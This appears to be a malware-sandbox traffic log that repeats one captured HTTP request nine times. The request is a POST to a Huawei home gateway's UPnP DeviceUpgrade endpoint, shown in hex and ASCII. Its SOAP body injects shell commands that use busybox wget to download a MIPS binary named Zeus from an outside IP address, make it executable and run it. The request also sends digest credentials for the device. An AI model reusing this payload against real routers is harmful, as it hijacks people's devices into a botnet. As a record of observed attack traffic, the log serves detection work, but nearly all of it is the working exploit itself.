Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
